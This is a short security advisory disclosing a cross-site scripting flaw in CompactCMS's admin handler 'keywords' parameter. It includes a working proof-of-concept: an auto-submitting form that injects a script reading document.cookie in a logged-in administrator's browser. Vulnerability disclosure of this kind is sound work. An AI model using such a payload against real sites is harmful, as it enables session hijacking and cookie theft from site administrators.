Cross-site Scripting (XSS) Vulnerability in CompactCMS

High-Tech Bridge SA Security Research Lab has discovered vulnerability in CompactCMS which could be exploited to perform cross-site scripting attacks.

1) Cross-site scripting (XSS) vulnerability in CompactCMS
The vulnerability exists due to input sanitation error in the "keywords" parameter in admin/handler.inc.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.
Exploitation example:
<form action="http://host/admin/handler.inc.php?page=hola&restrict=N" method="post" name="main" >
<input type="hidden" name="content" value="page content" />
<input type="hidden" name="keywords" value='keyword"><script>alert(document.cookie)</script>' />
<input type="hidden" name="action" value="Save changes" />
<input type="hidden" name="do" value="Save changes" />
</form>
<script>
document.main.submit();
</script>